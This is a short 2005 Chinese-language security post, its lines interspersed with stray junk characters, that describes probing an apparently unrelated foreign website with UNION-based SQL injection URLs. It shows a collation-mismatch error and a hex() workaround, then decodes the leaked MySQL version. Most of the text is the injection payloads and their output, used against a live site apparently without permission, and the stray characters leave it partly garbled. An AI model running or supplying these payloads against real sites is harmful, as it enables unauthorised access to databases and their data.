本文作者:SuperHei6 R+ a+ N, I2 K% s. j s
文章性质:原创
% _2 G/ G1 Z( ], y" Q2 ]发布日期:2005-10-18
9 N; ~9 C6 {" n& A% [) y测试个国外的站时:
* }4 a$ ]2 ~" o0 M! furl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
% b/ i. @7 @6 x" r+ Q返回错误:
; A/ a( q( J8 A$ p/ C* ?! f6 O! ^7 ZIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'% j0 Q9 {( L3 ]
MySQL Error No. 126
+ N- k, u$ x8 `( M; g8 L看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
$ ]8 |% g, i& V7 Z) }解决办法:转为其他编码如hex。
) }! ?2 s* s0 {* Q0 R) Surl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*3 s: v* R7 Y* U
成功得到hex(version())的值为:
0 n. _ g8 N# d) c* S& ~, c342E312E332D62657461
4 d6 _6 I6 a$ h- `; y7 x回Mysql查询下得到:
7 o" A' O6 {1 h- H: [9 f% k! Gmysql> select 0x342E312E332D62657461;8 U B. r, Y( b" J5 @
+------------------------+- E+ `. i" E& i2 c& L8 S
| 0x342E312E332D62657461 |4 m* ?: G2 s0 ]1 H8 v' s# x
+------------------------+
! r, ?6 ]" ]! M' t8 e" d| 4.1.3-beta |( n5 a6 ^% r n
+------------------------+
" W' F6 \1 D- F: k1 row in set (0.00 sec)& }, E s# u4 `! A0 q
7 T2 D7 f2 ~7 H
|